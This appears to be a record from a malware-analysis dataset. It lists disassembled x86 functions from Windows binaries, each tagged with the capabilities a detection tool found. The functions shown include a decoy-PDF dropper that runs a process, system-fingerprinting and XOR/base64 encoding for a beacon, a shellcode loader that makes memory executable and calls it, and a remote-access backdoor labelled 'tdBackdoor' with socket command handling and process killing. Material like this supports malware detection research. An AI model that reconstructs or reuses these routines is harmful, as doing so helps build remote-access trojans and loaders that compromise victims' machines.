joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001050
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, edx
mov eax, 0xaaaaaaab
push esi
push edi
mov edi, ecx
lea esi, [ebx*4]
mul esi
mov eax, 0x38e38e39
mov esi, edx
shr esi, 1
add esi, 4
mul esi
lea eax, [esi + 1]
shr edx, 4
add eax, edx
push eax
call fcn.10007336
add esp, 4
mov dword [ebp - 8], eax
test eax, eax
jne 0x10001098
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [edi + ebx]
xor esi, esi
mov dword [ebp - 4], ecx
cmp ebx, 3
jl 0x1000111d
movzx ecx, byte [edi]
add esi, 4
shr ecx, 2
sub ebx, 3
movzx ecx, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax], cl
movzx edx, byte [edi]
movzx ecx, byte [edi + 1]
and edx, 3
shr ecx, 4
shl edx, 4
or edx, ecx
movzx ecx, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + 1], cl
movzx edx, byte [edi + 1]
movzx ecx, byte [edi + 2]
and edx, 0xf
shr ecx, 6
shl edx, 2
or edx, ecx
movzx ecx, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + 2], cl
movzx ecx, byte [edi + 2]
add edi, 3
and ecx, 0x3f
movzx ecx, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + 3], cl
add eax, 4
cmp esi, 0x48
jl 0x10001115
mov byte [eax], 0xa
inc eax
xor esi, esi
cmp ebx, 3
jge 0x100010a5
mov ecx, dword [ebp - 4]
sub ecx, edi
mov dword [ebp - 4], ecx
je 0x10001178
movzx ecx, byte [edi]
shr ecx, 2
mov cl, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax], cl
movzx edx, byte [edi]
and edx, 3
shl edx, 4
cmp dword [ebp - 4], 1
jne 0x1000114e
mov cl, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov dl, 0x3d
mov byte [eax + 1], cl
jmp 0x1000116e
movzx ecx, byte [edi + 1]
shr ecx, 4
or ecx, edx
mov cl, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + 1], cl
movzx ecx, byte [edi + 1]
and ecx, 0xf
mov dl, byte [ecx*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + 2], dl
mov byte [eax + 3], 0x3d
add eax, 4
pop edi
pop esi
mov byte [eax], 0
mov eax, dword [ebp - 8]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001340
Capabilities:
Copy file
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa00
lea eax, [ebp - 0x200]
push 0
push eax
push 0x104
push 0x1001aa74
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
lea ecx, [ebp - 0x200]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x10001370
mov eax, dword [str.Document]
mov dword [ecx], eax
mov eax, dword [0x1001aa7c]
mov dword [ecx + 4], eax
mov ax, word [0x1001aa80]
mov word [ecx + 8], ax
lea eax, [ebp - 0x200]
push eax
push str._s.pdf
lea eax, [ebp - 0x600]
push 0x400
push eax
call fcn.10001010
add esp, 0x10
lea eax, [ebp - 0x600]
push 0
push eax
lea eax, [ebp - 0x200]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x1000140c
mov ecx, str.Dh4FXQtJS0RDDw
call fcn.10001190
lea ecx, [ebp - 0x600]
push ecx
push eax
push str._s__s
lea eax, [ebp - 0xa00]
push 0x400
push eax
call fcn.10001010
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
add esp, 0x14
test eax, eax
je 0x1000140c
push 0
lea ecx, [ebp - 0xa00]
push ecx
call eax
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10001710
Capabilities:
Encode data using xor
Get hostname
Get os information via kuser_shared_data
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
push ebx
push esi
push edi
mov ecx, str.OCAkISBwYyE
call fcn.10001190
push eax
call fcn.1000732b
add esp, 4
mov ebx, 0x1001aa9a
test eax, eax
mov ecx, ebx
cmovne ecx, eax
mov dword [ebp - 8], ecx
mov ecx, str.LjwsIztlazYiLSA2
call fcn.10001190
push eax
call fcn.1000732b
add esp, 4
test eax, eax
cmovne ebx, eax
lea eax, [ebp - 0x34]
mov dword [ebp - 0x10], ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov ax, word [ebp - 0x34]
cmp ax, 9
jne 0x1000177b
mov ecx, str.LD4lRVo
call fcn.10001190
mov esi, eax
jmp 0x10001793
test ax, ax
jne 0x1000178e
mov ecx, str.FUtX
call fcn.10001190
mov esi, eax
jmp 0x10001793
mov esi, str.Unknown
push 0x46
call fcn.10007336
add esp, 4
mov dword [ebp - 0xc], eax
push dword [0x7ffe0260]
push dword [0x7ffe0270]
push dword [0x7ffe026c]
push str._lu._lu._lu
push 0x46
push eax
call fcn.10001010
add esp, 0x18
mov dword [ebp - 4], 0x104
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x140]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
cmp byte [ebp - 0x140], 0
je 0x100017ed
lea edi, [ebp - 0x140]
jmp 0x100017f9
mov ecx, str.OjwzOCljYTE8
call fcn.10001190
mov edi, eax
push 0x400
call fcn.10007336
add esp, 4
mov ebx, eax
push edi
push dword [ebp - 0xc]
push esi
push dword [ebp - 0x10]
push dword [ebp - 8]
push str._s__s__s__s__s
push 0x400
push ebx
call fcn.10001010
mov esi, ebx
add esp, 0x20
lea ecx, [esi + 1]
nop dword [eax + eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x10001830
sub esi, ecx
lea eax, [esi + 1]
push eax
call fcn.10007336
add esp, 4
mov dword [ebp - 4], eax
xor edi, edi
test esi, esi
jle 0x10001874
sub ebx, eax
mov dword [ebp - 8], 0xa
lea ecx, [edi + eax]
xor edx, edx
mov eax, edi
inc edi
div dword [ebp - 8]
mov al, byte [edx + 0x1001a90c]
xor al, byte [ecx + ebx]
mov byte [ecx], al
mov eax, dword [ebp - 4]
cmp edi, esi
jl 0x10001857
mov edx, esi
mov byte [eax + esi], 0
mov ecx, eax
call fcn.10001050
push 0x800
mov esi, eax
call fcn.10007336
add esp, 4
mov ecx, str.UgcOGAtfEw
mov edi, eax
push esi
call fcn.10001190
push eax
push str.account
mov ecx, str.QhIRGkFHH0pcQw
call fcn.10001190
push eax
push str._s_s_s_s
push 0x800
push edi
call fcn.10001010
add esp, 0x1c
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100018d0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub dword [ebp + 0xc], 1
jne 0x10001921
push esi
push 0
push 0
push 0
push sym.msasn1.dll__ASN1ztchar64string_cmp_0
push 0
push 0
call fcn.10005523
add esp, 0x18
call fcn.10004eda
lea esi, [eax + 0x7d0]
nop dword [eax]
call fcn.10004eda
cmp eax, esi
jl 0x10001900
pop esi
push 0
push 0
push 0
push sym.msasn1.dll__ASN1ztchar64string_free_0
push 0
push 0
call fcn.10005523
add esp, 0x18
mov eax, 1
pop ebp
ret 0xc
Function at 0x10001930
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
push esi
push edi
call fcn.10001710
mov edi, eax
mov ecx, str.IBwbGgJdT0tZQl1TSSQHX0oLGx9NPTVTXwEAVFdMOhoPRVoKDhxaWERTIAMeXUszCQ4mGhVcWwIZSl9aTVsqOzp8YkhMAAQYBFMpVE0PA0VNMAkBAVxLS11dWV1RXV4fHg
push edi
mov dword [esp + 0x18], edi
call fcn.10001190
mov ecx, str.HgYRAwFDWkkNHARdBxoAUEAHCQ8CBQQBHR9NCwE
mov esi, eax
call fcn.10001190
mov edx, esi
mov ecx, eax
call fcn.10001420
add esp, 4
mov dword [esp + 0x18], eax
mov dword [esp + 0x24], edx
cmp edx, 0x194
je 0x10001af4
mov ecx, edx
mov dword [esp + 0x1c], eax
mov bl, al
nop word [eax + eax]
cmp edx, 0xdc
je 0x10001aa1
cmp ecx, 0xc8
jne 0x10001afc
movsx eax, bl
cmp eax, 0x1001aa9a
je 0x10001afc
mov ecx, str.UVwJFg9VSxYcUg
call fcn.10001190
mov ecx, str.URsEEgpUXBRS
mov dword [esp + 0x20], eax
call fcn.10001190
xor ebx, ebx
xor esi, esi
mov edi, eax
cmp dword [esp + 0x1c], ebx
je 0x10001a4f
push edi
push dword [esp + 0x1c]
call fcn.10002700
mov ecx, eax
add esp, 8
test ecx, ecx
je 0x10001a4f
lea edx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x100019f0
sub edi, edx
lea ebx, [edi + ecx]
mov dword [esp + 0x1c], ebx
test ebx, ebx
je 0x10001a4d
push dword [esp + 0x20]
push ebx
call fcn.10002700
mov edi, eax
add esp, 8
test edi, edi
je 0x10001a4d
sub edi, ebx
lea ecx, [edi + 1]
push ecx
call fcn.10007336
add esp, 4
mov ebx, eax
push edi
push dword [esp + 0x20]
push ebx
call fcn.10007100
add esp, 0xc
mov byte [edi + ebx], 0
test ebx, ebx
je 0x10001a4d
mov esi, ebx
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x10001a42
sub esi, ecx
jmp 0x10001a4f
mov ebx, esi
test esi, esi
je 0x10001a9d
mov dword [esp + 0x20], 0
mov esi, ebx
nop dword [eax]
movzx eax, byte [esi]
inc esi
cmp byte [eax + str.________________________________________________456789:_________], 0x3f
jbe 0x10001a60
mov ecx, ebx
call fcn.10001190
mov edi, eax
sub esi, ebx
lea eax, [esp + 0x20]
push eax
push 0x40
lea eax, [esi + 2]
cdq
and edx, 3
add eax, edx
sar eax, 2
lea eax, [eax + eax*2]
inc eax
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10001a9d
call edi
mov edi, dword [esp + 0x14]
call fcn.10004eda
lea esi, [eax + 0x7530]
nop dword [eax]
call fcn.10004eda
cmp eax, esi
jl 0x10001ab0
push edi
mov ecx, str.IBwbGgJdT0tZQl1TSSQHX0oLGx9NPTVTXwEAVFdMOhoPRVoKDhxaWERTIAMeXUszCQ4mGhVcWwIZSl9aTVsqOzp8YkhMAAQYBFMpVE0PA0VNMAkBAVxLS11dWV1RXV4fHg
call fcn.10001190
mov ecx, str.HgYRAwFDWkkNHARdBxoAUEAHCQ8CBQQBHR9NCwE
mov esi, eax
call fcn.10001190
mov edx, esi
mov ecx, eax
call fcn.10001420
add esp, 4
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov ecx, edx
mov bl, al
cmp edx, 0x194
jne 0x10001990
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.10004eda
lea esi, [eax + 0xea60]
call fcn.10004eda
cmp eax, esi
jl 0x10001b07
jmp 0x10001aa1
Function at 0x10007718
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10007757
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10007757
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10007757
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10007757
cmp dword [ecx + 0x74], 0xe
jbe 0x10007757
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x100099ad
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10016b4c
push 0x10016b44
push str.FlsAlloc
push 0x1f
call fcn.1000982c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100099e1
push dword [ebp + 8]
mov ecx, esi
call dword [0x10015160]
call esi
jmp 0x100099e7
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10009a2b
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10016b5c
push 0x10016b54
push str.FlsGetValue
push 0x21
call fcn.1000982c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10009a62
push dword [ebp + 8]
mov ecx, esi
call dword [0x10015160]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10009a6a
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10016b64
push 0x10016b5c
push str.FlsSetValue
push 0x22
call fcn.1000982c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10009aa4
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10015160]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1000c634
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1000c6d1
push ebx
push esi
call fcn.1000c5fd
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000c591
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000c67e
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000c6d0
push edi
push eax
call fcn.10009d02
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1000c69e
call fcn.10009177
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000c6cf
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000c591
add esp, 0x20
test eax, eax
jne 0x1000c6bd
push edi
call fcn.10009177
jmp 0x1000c6c5
push ebx
call fcn.10009177
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x10013dd0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10013dfd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10013dfd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x10004cd0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, edx
test esi, esi
not eax
je 0x10004d02
lea esp, [esp]
test cl, 3
je 0x10004d02
movzx edx, byte [ecx]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x13bca460]
add ecx, 1
sub esi, 1
jne 0x10004ce0
cmp esi, 0x20
push ebx
push edi
jb 0x10004eec
mov edi, esi
shr edi, 5
xor eax, dword [ecx]
add ecx, 4
mov edx, eax
shr edx, 0x10
movzx ebx, ah
and edx, 0xff
mov edx, dword [edx*4 + 0x13bca860]
xor edx, dword [ebx*4 + 0x13bcac60]
mov ebx, eax
and eax, 0xff
shr ebx, 0x18
xor edx, dword [ebx*4 + 0x13bca460]
add ecx, 4
xor edx, dword [eax*4 + 0x13bcb060]
add ecx, 4
xor edx, dword [ecx - 8]
add ecx, 4
mov eax, edx
shr eax, 0x10
and eax, 0xff
mov eax, dword [eax*4 + 0x13bca860]
movzx ebx, dh
xor eax, dword [ebx*4 + 0x13bcac60]
mov ebx, edx
and edx, 0xff
shr ebx, 0x18
xor eax, dword [ebx*4 + 0x13bca460]
add ecx, 4
xor eax, dword [edx*4 + 0x13bcb060]
add ecx, 4
xor eax, dword [ecx - 0x10]
mov edx, eax
shr edx, 0x10
movzx ebx, ah
and edx, 0xff
mov edx, dword [edx*4 + 0x13bca860]
xor edx, dword [ebx*4 + 0x13bcac60]
mov ebx, eax
and eax, 0xff
shr ebx, 0x18
xor edx, dword [ebx*4 + 0x13bca460]
xor edx, dword [eax*4 + 0x13bcb060]
xor edx, dword [ecx - 0xc]
mov eax, edx
shr eax, 0x10
and eax, 0xff
mov eax, dword [eax*4 + 0x13bca860]
movzx ebx, dh
xor eax, dword [ebx*4 + 0x13bcac60]
mov ebx, edx
and edx, 0xff
shr ebx, 0x18
xor eax, dword [ebx*4 + 0x13bca460]
xor eax, dword [edx*4 + 0x13bcb060]
xor eax, dword [ecx - 8]
mov edx, eax
shr edx, 0x10
movzx ebx, ah
and edx, 0xff
mov edx, dword [edx*4 + 0x13bca860]
xor edx, dword [ebx*4 + 0x13bcac60]
mov ebx, eax
and eax, 0xff
shr ebx, 0x18
xor edx, dword [ebx*4 + 0x13bca460]
xor edx, dword [eax*4 + 0x13bcb060]
xor edx, dword [ecx - 4]
mov eax, edx
shr eax, 0x10
and eax, 0xff
mov eax, dword [eax*4 + 0x13bca860]
movzx ebx, dh
xor eax, dword [ebx*4 + 0x13bcac60]
mov ebx, edx
shr ebx, 0x18
xor eax, dword [ebx*4 + 0x13bca460]
and edx, 0xff
xor eax, dword [edx*4 + 0x13bcb060]
xor eax, dword [ecx]
add ecx, 4
mov edx, eax
shr edx, 0x10
movzx ebx, ah
and edx, 0xff
mov edx, dword [edx*4 + 0x13bca860]
xor edx, dword [ebx*4 + 0x13bcac60]
mov ebx, eax
and eax, 0xff
shr ebx, 0x18
xor edx, dword [ebx*4 + 0x13bca460]
add ecx, 4
xor edx, dword [eax*4 + 0x13bcb060]
sub esi, 0x20
xor edx, dword [ecx - 4]
mov eax, edx
shr eax, 0x10
and eax, 0xff
mov eax, dword [eax*4 + 0x13bca860]
movzx ebx, dh
xor eax, dword [ebx*4 + 0x13bcac60]
mov ebx, edx
shr ebx, 0x18
xor eax, dword [ebx*4 + 0x13bca460]
and edx, 0xff
xor eax, dword [edx*4 + 0x13bcb060]
sub edi, 1
jne 0x10004d12
cmp esi, 4
jb 0x10004f39
mov edx, esi
shr edx, 2
xor eax, dword [ecx]
add ecx, 4
mov edi, eax
shr edi, 0x10
and edi, 0xff
mov edi, dword [edi*4 + 0x13bca860]
movzx ebx, ah
xor edi, dword [ebx*4 + 0x13bcac60]
mov ebx, eax
shr ebx, 0x18
xor edi, dword [ebx*4 + 0x13bca460]
and eax, 0xff
xor edi, dword [eax*4 + 0x13bcb060]
sub esi, 4
sub edx, 1
mov eax, edi
jne 0x10004ef6
test esi, esi
pop edi
pop ebx
je 0x10004f5d
nop
movzx edx, byte [ecx]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x13bca460]
add ecx, 1
sub esi, 1
jne 0x10004f40
not eax
pop esi
ret
Function at 0x4012ac
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x198
mov eax, dword [0x417740]
xor eax, esp
mov dword [esp + 0x194], eax
lea eax, [esp]
push eax
push 2
call sub.WS2_32.dll_WSAStartup
mov ecx, dword [esp + 0x194]
xor ecx, esp
call fcn.00405129
mov esp, ebp
pop ebp
ret

Function at 0x4015e3
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x412a91
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x2024
call fcn.004115f0
mov eax, dword [0x417740]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
xor eax, eax
mov esi, dword [0x418d00]
lea edi, [ebp - 0x28]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosb byte es:[edi], al
mov ecx, 0x418cf0
xor eax, eax
mov edi, ecx
stosd dword es:[edi], eax
mov ebx, 0xfff
push ebx
xor edi, edi
lea eax, [ebp - 0x2028]
push edi
push eax
call fcn.00407230
add esp, 0xc
push edi
push ebx
lea eax, [ebp - 0x2028]
push eax
mov dword [ebp - 4], edi
push dword [esi + 4]
call sub.WS2_32.dll_recv
cmp eax, edi
jg 0x40167e
mov dword [ebp - 0x202c], str.Receive__
push 0x415ee8
lea eax, [ebp - 0x202c]
push eax
call fcn.0040a64c
lea edi, [ebp - 0x28]
lea edx, [ebp - 0x2028]
call fcn.00403810
mov byte [0x418cf0], 0xc0
mov byte [0x418cf1], 0xe4
mov byte [0x418cf2], 8
mov byte [0x418cf3], 0x25
mov byte [0x418cf4], 0xa4
mov byte [0x418cf5], 0xf7
mov byte [0x418cf6], 0xb4
mov byte [0x418cf7], 0xe6
mov byte [0x418cf8], 0xf6
mov byte [0x418cf9], 0xbc
mov byte [0x418cfa], 0xc6
mov byte [0x418cfb], 0x1a
mov byte [0x418cfc], 0x25
mov byte [0x418cfd], 0xcd
mov byte [0x418cfe], 0xf4
mov byte [0x418cff], 0x48
xor eax, eax
cmp eax, 0x10
jge 0x401714
mov edi, 0x418cf0
mov cl, byte [edi + eax]
cmp cl, byte [ebp + eax - 0x28]
jne 0x401772
inc eax
jmp 0x4016fe
push dword [0x418d04]
call fcn.00402c3a
push eax
push str.tdBackdoor_0.9.13_nWillkommen_...
push str._s_nStatus:_Ready._RAT_Uptime:__s.
lea eax, [ebp - 0x1028]
push ebx
push eax
call fcn.00404d88
add esp, 0x18
lea edx, [ebp - 0x1028]
call fcn.004039e0
test eax, eax
jg 0x40176e
mov dword [ebp - 0x2030], str.Send__
push 0x415ee8
lea eax, [ebp - 0x2030]
jmp 0x401678
xor eax, eax
jmp 0x401775
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00405129
leave
ret
Function at 0x401f9f
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x334
mov eax, dword [0x417740]
xor eax, esp
mov dword [esp + 0x330], eax
push ebx
push esi
mov esi, dword [0x418d00]
push edi
xor ebx, ebx
push ebx
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
jne 0x401fea
xor al, al
mov ecx, dword [esp + 0x33c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00405129
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x10]
push eax
push edi
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x40200c
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
jmp 0x401fd5
push dword [esp + 0x18]
lea eax, [esp + 0x38]
push eax
push str._s_tPID:__d
lea eax, [esp + 0x144]
push 0x200
push eax
call fcn.00404d88
lea eax, [esp + 0x14c]
add esp, 0x14
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402039
sub eax, edx
push eax
lea edx, [esp + 0x13c]
call fcn.004039e0
pop ecx
push 0x6e
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40200c
mov edx, str._end_
call fcn.004039e0
mov bl, 1
jmp 0x402001

Function at 0x402075
Capabilities:
Enumerate gui resources
Terminate process

Disassembly:
push edi
push dword [esp + 8]
push 0
push 0x100001
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x4020cd
push esi
push dword [esp + 0xc]
push 0x4020d1
call dword [sym.imp.USER32.dll_EnumWindows]
push dword [esp + 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x4020c0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov esi, eax
neg esi
sbb esi, esi
and esi, 2
jmp 0x4020c3
xor esi, esi
inc esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
pop edi
ret 8
Function at 0x402428
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x1004]
mov eax, 0x1004
call fcn.004115f0
push 0xffffffffffffffff
push 0x412a41
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x417740]
xor eax, ebp
mov dword [ebp + 0x1000], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x100c]
mov esi, dword [0x418d00]
and dword [ebp - 4], 0
push 0x41543c
push eax
mov dword [ebp - 0x1c], esi
call fcn.0040586c
test eax, eax
pop ecx
pop ecx
mov dword [ebp - 0x18], eax
je 0x40259b
push eax
call fcn.00404da4
push eax
call fcn.0040556a
push eax
push 0x415440
mov dword [ebp - 0x20], eax
mov edi, 0xfff
lea eax, [ebp]
push edi
push eax
call fcn.00404d88
lea eax, [ebp]
add esp, 0x18
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4024c0
sub eax, ecx
push eax
lea edx, [ebp]
call fcn.004039e0
test eax, eax
pop ecx
jge 0x4024ec
mov dword [ebp - 0x2c], str.Send
push 0x415ee8
lea eax, [ebp - 0x2c]
push eax
call fcn.0040a64c
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call ebx
mov esi, dword [ebp - 0x1c]
push 8
mov edx, str.test.exe
call fcn.004039e0
test eax, eax
pop ecx
jge 0x40251b
mov dword [ebp - 0x24], str.Send
push 0x415ee8
lea eax, [ebp - 0x24]
jmp 0x4024e6
and dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x20]
jge 0x40258e
xor esi, esi
cmp esi, edi
jge 0x402548
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x14], eax
jge 0x402548
push dword [ebp - 0x18]
call fcn.00404302
mov byte [ebp + esi], al
inc esi
inc dword [ebp - 0x14]
pop ecx
jmp 0x402529
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 4]
push 0
push edi
lea ecx, [ebp]
push ecx
push eax
call sub.WS2_32.dll_send
test eax, eax
jge 0x402579
mov dword [ebp - 0x28], str.Send
push 0x415ee8
lea eax, [ebp - 0x28]
jmp 0x4024e6
push edi
lea eax, [ebp]
push 0
push eax
call fcn.00407230
add esp, 0xc
push 0x6e
call ebx
jmp 0x40251f
push dword [ebp - 0x18]
call fcn.00404ccb
pop ecx
xor eax, eax
jmp 0x4025b3
push 2
mov edx, 0x415458
call fcn.004039e0
push 0
call fcn.00404ccb
pop ecx
pop ecx
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x1000]
xor ecx, ebp
call fcn.00405129
add ebp, 0x1004
leave
ret